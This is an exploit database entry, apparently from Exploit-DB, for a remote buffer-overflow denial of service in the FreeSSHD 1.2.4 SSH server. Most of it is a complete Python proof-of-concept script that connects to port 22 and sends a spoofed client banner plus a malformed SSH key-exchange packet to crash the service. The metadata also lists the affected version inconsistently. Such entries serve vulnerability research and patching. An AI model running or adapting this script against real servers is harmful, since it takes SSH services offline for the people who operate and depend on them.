FreeSSHD 1.2.4 Remote Buffer Overflow DoS

vendor:

FreeSSHD

by:

Pi3rrot

7.5

CVSS

HIGH

Remote Buffer Overflow DoS

119

CWE

Product Name: FreeSSHD

Affected Version From: 1.2.2004

Affected Version To: 1.2.2004

Patch Exists: NO

Related CWE:

CPE: a:freesshd:freesshd:1.2.4

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3

2010

FreeSSHD 1.2.4 Remote Buffer Overflow DoS

This exploit can crash FreeSSHD 1.2.4 on ssh2 connection by using a malformed string on the SSH Key Exchange Init Corruption.

Mitigation:

Update to a patched version of FreeSSHD.

Source

Exploit-DB raw data:

#!/usr/bin/env python

"""
# Exploit Title: FreeSSHD 1.2.4 Remote Buffer Overflow DoS
# Date: 22-03-2010
# Author: Pi3rrot  -  tagazok [At] gmail [D0t] com         ak37@freenode
# Software Link: http://www.freesshd.com/
# Version: 1.2.4
# Tested on: Windows XP SP3 fr

# Explications :     This pof just may crash FreeSSHD 1.2.4 on ssh2 connexion.
            It use a malformed string on the SSH Key Exchange Init Corruption
            Exploit tested on Windows SP3 fr

            maybe it can be more exploited ?

Greets to the metasploit project & PV Eeckhoutte tutorials
"""

import sys
import socket

host = "192.168.0.14"
port = 22

print "********************************************************"
print "          FreeSSHD 1.2.4 Buffer Overflow DoS"
print "                     by Pi3rrot"
print "                  tagazok@gmail.com<mailto:tagazok@gmail.com>"
print "********************************************************"

banner = "SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n"

key = "\x00\x00\x03\x14\x082\xff\xff\x9f\xde\x5d\x5f\xb3\x07\x8f\x49\xa7\x79\x6a\x03\x3d\xaf\x55\x00\x00\x00\x7e\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x2d\x65\x78\x63\x68\x61\x6e\x67\x65\x2d\x73\x68\x61\x32\x35\x36\x2c\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x2d\x65\x78\x63\x68\x61\x6e\x67\x65\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x31\x34\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x31\x2d\x73\x68\x61\x31\x00\x00\x00\x0fssh-rsa,ssh-dss\x00\x00\x00\x9d\x61\x65\x73\x31\x32\x38\x2d\x63\x62\x63\x2c\x33\x64\x65\x73\x2d\x63\x62\x63\x2c\x62\x6c\x6f\x77\x66\x69\x73\x68\x2d\x63\x62\x63\x2c\x63\x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66\x6f\x75\x72\x31\x32\x38\x2c\x61\x72\x63\x66\x6f\x75\x72\x32\x35\x36\x2c\x61\x72\x63\x66\x6f\x75\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x62\x63\x2c\x72\x69\x6a\x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74\x6f\x72\x2e\x6c\x69\x75\x2e\x73\x65\x2c\x61\x65\x73\x31\x32\x38\x2d\x63\x74\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x74\x72\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x74\x72\x00\x00\x00\x9d\x61\x65\x73\x31\x32\x38\x2d\x63\x62\x63\x2c\x33\x64\x65\x73\x2d\x63\x62\x63\x2c\x62\x6c\x6f\x77\x66\x69\x73\x68\x2d\x63\x62\x63\x2c\x63\x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66\x6f\x75\x72\x31\x32\x38\x2c\x61\x72\x63\x66\x6f\x75\x72\x32\x35\x36\x2c\x61\x72\x63\x66\x6f\x75\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x62\x63\x2c\x72\x69\x6a\x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74\x6f\x72\x2e\x6c\x69\x75\x2e\x73\x65\x2c\x61\x65\x73\x31\x32\x38\x2d\x63\x74\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x74\x72\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x74\x72\x00\x00\x00\x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75\x6d\x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2d\x39\x36\x2c\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2d\x39\x36\x00\x00\x00\x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75\x6d\x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2d\x39\x36\x2c\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2d\x39\x36\x00\x00\x00\x1a\x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x7a\x6c\x69\x62\x2c\x6e\x6f\x6e\x65\x00\x00\x00\x1a\x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x7a\x6c\x69\x62\x2c\x6e\x6f\x6e\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"



buffer = banner + key

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host, port))

print '[+] reponse du serveur : ' + sock.recv(1000)

sock.send(buffer)
print '[+] Buffer sent'



sock.close()